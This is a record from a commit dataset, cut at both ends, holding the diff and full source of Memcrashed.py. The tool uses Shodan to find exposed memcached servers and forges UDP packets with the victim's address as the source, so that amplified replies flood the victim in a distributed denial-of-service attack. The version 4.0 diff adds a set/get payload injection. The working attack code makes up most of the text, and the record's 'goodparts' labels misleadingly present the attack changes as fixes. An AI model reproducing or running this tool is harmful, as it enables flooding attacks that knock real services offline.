from Shodan? : ').lower()\n@@ -112,24 +119,36 @@ class color:\n if engage.startswith('y'):\n if saveme.startswith('y'):\n for i in ip_array:\n- if power>1:\n- print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n- with suppress_stdout():\n- send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n- elif power==1:\n- print('[+] Sending 1 forged UDP packet to: %s' % i)\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ print('[+] Sending 2 forged synchronized payloads to: %s' % (i))\n with suppress_stdout():\n- send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)\n+ else:\n+ if power>1:\n+ print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n+ elif power==1:\n+ print('[+] Sending 1 forged UDP packet to: %s' % i)\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n else:\n for result in results['matches']:\n- if power>1:\n- print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n- with suppress_stdout():\n- send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n- elif power==1:\n- print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ print('[+] Sending 2 forged synchronized payloads to: %s' % (i))\n with suppress_stdout():\n- send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)\n+ else:\n+ if power>1:\n+ print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n+ elif power==1:\n+ print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n print('')\n print('[\u2022] Task complete! Exiting Platform. Have a wonderful day.')\n break\n", "files": {"/Memcrashed.py": {"changes": [{"diff": "\n \u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d \n \n Author: @037\n- Version: 3.2\n+ Version: 4.0\n \n ####################################### DISCLAIMER ########################################\n | Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |\n", "add": 1, "remove": 1, "filename": "/Memcrashed.py", "badparts": [" Version: 3.2"], "goodparts": [" Version: 4.0"]}, {"diff": "\n if saveme.startswith('y') or query.startswith('y'):\n print('')\n target = input(\"[\u25b8] Enter target IP address: \")\n+ targetport = input(\"[\u25b8] Enter target port number (Default 80): \") or \"80\"\n power = int(input(\"[\u25b8] Enter preferred power (Default 1): \") or \"1\")\n- data = input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n+ print('')\n+ data = input(\"[+] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ dataset = \"set injected 0 3600 \", len(data)+1, \"\\r\\n\", data, \"\\r\\n get injected\\r\\n\"\n+ setdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00set\\x00injected\\x000\\x003600\\x00%s\\r\\n%s\\r\\n\" % (len(data)+1, data))\n+ getdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00get\\x00injected\\r\\n\")\n+ print(\"[+] Payload transformed: \", dataset)\n print('')\n if query.startswith('y'):\n iplist = input('[*] Would you like to display all the bots from Shodan? : ').lower()\n", "add": 8, "remove": 1, "filename": "/Memcrashed.py", "badparts": [" data = input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\""], "goodparts": [" targetport = input(\"[\u25b8] Enter target port number (Default 80): \") or \"80\"", " print('')", " data = input(\"[+] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"", " if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):", " dataset = \"set injected 0 3600 \", len(data)+1, \"\\r\\n\", data, \"\\r\\n get injected\\r\\n\"", " setdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00set\\x00injected\\x000\\x003600\\x00%s\\r\\n%s\\r\\n\" % (len(data)+1, data))", " getdata = (\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00get\\x00injected\\r\\n\")", " print(\"[+] Payload transformed: \", dataset)"]}, {"diff": "\n if engage.startswith('y'):\n if saveme.startswith('y'):\n for i in ip_array:\n- if power>1:\n- print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n- with suppress_stdout():\n- send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n- elif power==1:\n- print('[+] Sending 1 forged UDP packet to: %s' % i)\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ print('[+] Sending 2 forged synchronized payloads to: %s' % (i))\n with suppress_stdout():\n- send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)\n+ else:\n+ if power>1:\n+ print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n+ elif power==1:\n+ print('[+] Sending 1 forged UDP packet to: %s' % i)\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n else:\n for result in results['matches']:\n- if power>1:\n- print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n- with suppress_stdout():\n- send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n- elif power==1:\n- print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n+ if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):\n+ print('[+] Sending 2 forged synchronized payloads to: %s' % (i))\n with suppress_stdout():\n- send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)\n+ else:\n+ if power>1:\n+ print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n+ elif power==1:\n+ print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n+ with suppress_stdout():\n+ send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)\n print('')\n print('[\u2022] Task complete! Exiting Platform. Have a wonderful day.')\n break\n", "add": 26, "remove": 14, "filename": "/Memcrashed.py", "badparts": [" if power>1:", " print('[+] Sending %d forged UDP packets to: %s' % (power, i))", " with suppress_stdout():", " send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)", " elif power==1:", " print('[+] Sending 1 forged UDP packet to: %s' % i)", " send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)", " if power>1:", " print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))", " with suppress_stdout():", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)", " elif power==1:", " print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)"], "goodparts": [" if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):", " print('[+] Sending 2 forged synchronized payloads to: %s' % (i))", " send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)", " send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)", " else:", " if power>1:", " print('[+] Sending %d forged UDP packets to: %s' % (power, i))", " with suppress_stdout():", " send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)", " elif power==1:", " print('[+] Sending 1 forged UDP packet to: %s' % i)", " with suppress_stdout():", " send(IP(src=target, dst='%s' % i) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)", " if (data != \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"):", " print('[+] Sending 2 forged synchronized payloads to: %s' % (i))", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=setdata), count=1)", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=getdata), count=power)", " else:", " if power>1:", " print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))", " with suppress_stdout():", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)", " elif power==1:", " print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])", " with suppress_stdout():", " send(IP(src=target, dst='%s' % result['ip_str']) / UDP(sport=int(str(targetport)),dport=11211)/Raw(load=data), count=power)"]}], "source": "\n import sys, os, time, shodan from pathlib import Path from scapy.all import * from contextlib import contextmanager, redirect_stdout starttime=time.time() @contextmanager def suppress_stdout(): with open(os.devnull, \"w\") as devnull: with redirect_stdout(devnull): yield class color: HEADER='\\033[0m' keys=Path(\"./api.txt\") logo=color.HEADER +''' \u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557 \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557 \u2588\u2588\u2554\u2588\u2588\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2554\u2588\u2588\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2551 \u2588\u2588\u2551 \u2588\u2588\u2551\u255a\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d \u2588\u2588\u2551\u255a\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d \u2588\u2588\u2551 \u2588\u2588\u2551 \u2588\u2588\u2551 \u255a\u2550\u255d \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u255a\u2550\u255d \u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d \u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d Author: @037 Version: 3.2 | Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable | | memcached servers. It then allows you to use the same servers to launch widespread | | distributed denial of service attacks by forging UDP packets sourced to your victim. | | Default payload includes the memcached \"stats\" command, 10 bytes to send, but the reply | | is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. | | I am NOT responsible for any damages caused or any crimes committed by using this tool. | ''' print(logo) if keys.is_file(): with open('api.txt', 'r') as file: SHODAN_API_KEY=file.readline().rstrip('\\n') else: file=open('api.txt', 'w') SHODAN_API_KEY=input('[*] Please enter a valid Shodan.io API Key: ') file.write(SHODAN_API_KEY) print('[~] File written:./api.txt') file.close() while True: api=shodan.Shodan(SHODAN_API_KEY) print('') try: myresults=Path(\"./bots.txt\") query=input(\"[*] Use Shodan API to search for affected Memcached servers? : \").lower() if query.startswith('y'): print('') print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY) results=api.search('product:\"Memcached\" port:11211') print('[\u2713] API Key Authentication: SUCCESS') print('[~] Number of bots: %s' % results['total']) print('') saveresult=input(\"[*] Save results for later usage? : \").lower() if saveresult.startswith('y'): file2=open('bots.txt', 'a') for result in results['matches']: file2.write(result['ip_str'] +\"\\n\") print('[~] File written:./bots.txt') print('') file2.close() saveme=input('[*] Would you like to use locally stored Shodan data? : ').lower() if myresults.is_file(): if saveme.startswith('y'): with open('bots.txt') as my_file: ip_array=[line.rstrip() for line in my_file] else: print('') print('[\u2718] Error: No bots stored locally, bots.txt file not found!') print('') if saveme.startswith('y') or query.startswith('y'): print('') target=input(\"[\u25b8] Enter target IP address: \") power=int(input(\"[\u25b8] Enter preferred power(Default 1): \") or \"1\") data=input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\" print('') if query.startswith('y'): iplist=input('[*] Would you like to display all the bots from Shodan? : ').lower() if iplist.startswith('y'): print('') counter=int(0) for result in results['matches']: host=api.host('%s' % result['ip_str']) counter=counter+1 print('[+] Memcache Server(%d) | IP: %s | OS: %s | ISP: %s |' %(counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a'))) time.sleep(1.1 -((time.time() -starttime) % 1.1)) if saveme.startswith('y'): iplistlocal=input('[*] Would you like to display all the bots stored locally? : ').lower() if iplistlocal.startswith('y'): print('') counter=int(0) for x in ip_array: host=api.host('%s' % x) counter=counter+1 print('[+] Memcache Server(%d) | IP: %s | OS: %s | ISP: %s |' %(counter, x, host.get('os', 'n/a'), host.get('org', 'n/a'))) time.sleep(1.1 -((time.time() -starttime) % 1.1)) print('') engage=input('[*] Ready to engage target %s? : ' % target).lower() if engage.startswith('y'): if saveme.startswith('y'): for i in ip_array: if power>1: print('[+] Sending %d forged UDP packets to: %s' %(power, i)) with suppress_stdout(): send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power) elif power==1: print('[+] Sending 1 forged UDP packet to: %s' % i) with suppress_stdout(): send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power) else: for result in results['matches']: if power>1: print('[+] Sending %d forged UDP packets to: %s' %(power, result['ip_str'])) with suppress_stdout(): send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power) elif power==1: print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str']) with suppress_stdout(): send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power) print('') print('[\u2022] Task complete! Exiting Platform. Have a wonderful day.') break else: print('') print('[\u2718] Error: %s not engaged!' % target) print('[~] Restarting Platform! Please wait.') print('') else: print('') print('[\u2718] Error: No bots stored locally or remotely on Shodan!') print('[~] Restarting Platform! Please wait.') print('') except shodan.APIError as e: print('[\u2718] Error: %s' % e) option=input('[*] Would you like to change API Key? : ').lower() if option.startswith('y'): file=open('api.txt', 'w') SHODAN_API_KEY=input('[*] Please enter valid Shodan.io API Key: ') file.write(SHODAN_API_KEY) print('[~] File written:./api.txt') file.close() print('[~] Restarting Platform! Please wait.') print('') else: print('') print('[\u2022] Exiting Platform. Have a wonderful day.') break ", "sourceWithComments": "#-- coding: utf8 --\n#!/usr/bin/env python3\nimport sys, os, time, shodan\nfrom pathlib import Path\nfrom scapy.all import *\nfrom contextlib import contextmanager, redirect_stdout\n\nstarttime = time.time()\n\n@contextmanager\ndef suppress_stdout():\n with open(os.devnull, \"w\") as devnull:\n with redirect_stdout(devnull):\n yield\n\nclass color:\n HEADER = '\\033[0m'\n\nkeys = Path(\"./api.txt\")\nlogo = color.HEADER + '''\n\n \u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557 \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \n \u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\n \u2588\u2588\u2554\u2588\u2588\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2554\u2588\u2588\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2551 \u2588\u2588\u2551\n \u2588\u2588\u2551\u255a\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d \u2588\u2588\u2551\u255a\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d \u2588\u2588\u2551 \u2588\u2588\u2551\n \u2588\u2588\u2551 \u255a\u2550\u255d \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u255a\u2550\u255d \u2588\u2588\u2551\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\n \u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d \n\n Author: @037\n Version: 3.2\n\n####################################### DISCLAIMER ########################################\n| Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |\n| memcached servers. It then allows you to use the same servers to launch widespread |\n| distributed denial of service attacks by forging UDP packets sourced to your victim. |\n| Default payload includes the memcached \"stats\" command, 10 bytes to send, but the reply |\n| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. |\n| I am NOT responsible for any damages caused or any crimes committed by using this tool. |\n###########################################################################################\n \n'''\nprint(logo)\n\nif keys.is_file():\n with open('api.txt', 'r') as file:\n SHODAN_API_KEY=file.readline().rstrip('\\n')\nelse:\n file = open('api.txt', 'w')\n SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')\n file.write(SHODAN_API_KEY)\n print('[~] File written: ./api.txt')\n file.close()\n\nwhile True:\n api = shodan.Shodan(SHODAN_API_KEY)\n print('')\n try:\n myresults = Path(\"./bots.txt\")\n query = input(\"[*] Use Shodan API to search for affected Memcached servers? : \").lower()\n if query.startswith('y'):\n print('')\n print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)\n results = api.search('product:\"Memcached\" port:11211')\n print('[\u2713] API Key Authentication: SUCCESS')\n print('[~] Number of bots: %s' % results['total'])\n print('')\n saveresult = input(\"[*] Save results for later usage? : \").lower()\n if saveresult.startswith('y'):\n file2 = open('bots.txt', 'a')\n for result in results['matches']:\n file2.write(result['ip_str'] + \"\\n\")\n print('[~] File written: ./bots.txt')\n print('')\n file2.close()\n saveme = input('[*] Would you like to use locally stored Shodan data? : ').lower()\n if myresults.is_file():\n if saveme.startswith('y'):\n with open('bots.txt') as my_file:\n ip_array = [line.rstrip() for line in my_file]\n else:\n print('')\n print('[\u2718] Error: No bots stored locally, bots.txt file not found!')\n print('')\n if saveme.startswith('y') or query.startswith('y'):\n print('')\n target = input(\"[\u25b8] Enter target IP address: \")\n power = int(input(\"[\u25b8] Enter preferred power (Default 1): \") or \"1\")\n data = input(\"[\u25b8] Enter payload contained inside packet: \") or \"\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00stats\\r\\n\"\n print('')\n if query.startswith('y'):\n iplist = input('[*] Would you like to display all the bots from Shodan? : ').lower()\n if iplist.startswith('y'):\n print('')\n counter= int(0)\n for result in results['matches']:\n host = api.host('%s' % result['ip_str'])\n counter=counter+1\n print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))\n time.sleep(1.1 - ((time.time() - starttime) % 1.1))\n if saveme.startswith('y'):\n iplistlocal = input('[*] Would you like to display all the bots stored locally? : ').lower()\n if iplistlocal.startswith('y'):\n print('')\n counter= int(0)\n for x in ip_array:\n host = api.host('%s' % x)\n counter=counter+1\n print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a')))\n time.sleep(1.1 - ((time.time() - starttime) % 1.1))\n print('')\n engage = input('[*] Ready to engage target %s? : ' % target).lower()\n if engage.startswith('y'):\n if saveme.startswith('y'):\n for i in ip_array:\n if power>1:\n print('[+] Sending %d forged UDP packets to: %s' % (power, i))\n with suppress_stdout():\n send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n elif power==1:\n print('[+] Sending 1 forged UDP packet to: %s' % i)\n with suppress_stdout():\n send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)\n else:\n for result in results['matches']:\n if power>1:\n print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))\n with suppress_stdout():\n send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n elif power==1:\n print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])\n with suppress_stdout():\n send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)\n print('')\n print('[\u2022] Task complete! Exiting Platform. Have a wonderful day.')\n break\n else:\n print('')\n print('[\u2718] Error: %s not engaged!' % target)\n print('[~] Restarting Platform! Please wait.')\n print('')\n else:\n print('')\n print('[\u2718] Error: No bots stored locally or remotely on Shodan!')\n print('[~] Restarting Platform! Please wait.')\n print('')\n\n except shodan.APIError as e:\n print('[\u2718] Error: %s' % e)\n option = input('[*] Would you like to change API Key? : ').lower()\n if option.startswith('y'):\n file = open('api.txt', 'w')\n SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ')\n file.write(SHODAN_API_KEY)\n print('[~] File written: ./api.txt')\n file.close()\n print('[~] Restarting Platform! Please wait.')\n print('')\n else:\n print('')\n print('[\u2022] Exiting Platform. Have a wonderful day.')\n break\n"}}, "msg": "Version 4.0\n\nNew feature:\n- New memory injection technique with \"set\" and \"get\" memcache commands\n- Payload now is automatically converted into TWO synchronized payloads,\none is set (allows you to write data onto the affected server), the\nother is get (allows you to retrieve the stored data but sent TO the\ntarget specified)\n\nIssues:\n\nI've discovered that the Scapy module could be a little faulty. Tests\nwere conducted and the memcache server you initially send forged packets\nto do not even receive the data. This could be a firewall issue but also\na scapy issue.\n\n*If someone can test and see if a memcache server can receive the data\non the specified port 11211 by checking via \"get injected\", please open\nan issue and relay your results. Also feel free to fix any errors I\nmight have made in this version. I'll be more than happy to merge your\nfixes."}}, "https://github.com/seno-adji/DDOS-MEMCRASHED": {"caeeef086923f4024b959c416a57d565a7427a78": {"url": "https://api.github.com/repos/seno-adji/DDOS-MEMCRASHED/commits/caeeef086923f4024b959c416a57d565a7427a78", "html_url": "https://github.com/seno-adji/DDOS-MEMCRASHED/commit/caeeef086923f4024b959c416a57d565a7427a78", "message": "Version 4.0\n\nNew feature:\n- New memory injection technique with \"set\" and \"get\" memcache commands\n- Payload now is automatically converted into TWO synchronized payloads,\none is set (allows you to write data onto the affected server), the\nother is get (allows you to retrieve the stored data but sent TO the\ntarget specified)\n\nIssues:\n\nI've discovered that the Scapy module could be a little faulty. Tests\nwere conducted and the memcache server you initially send forged packets\nto do not even receive the data. This could be a firewall issue but also\na scapy issue.\n\n*If someone can test and see if a memcache server can receive the data\non the specified port 11211 by checking via \"get injected\", please open\nan issue and relay your results. Also feel free to fix any errors 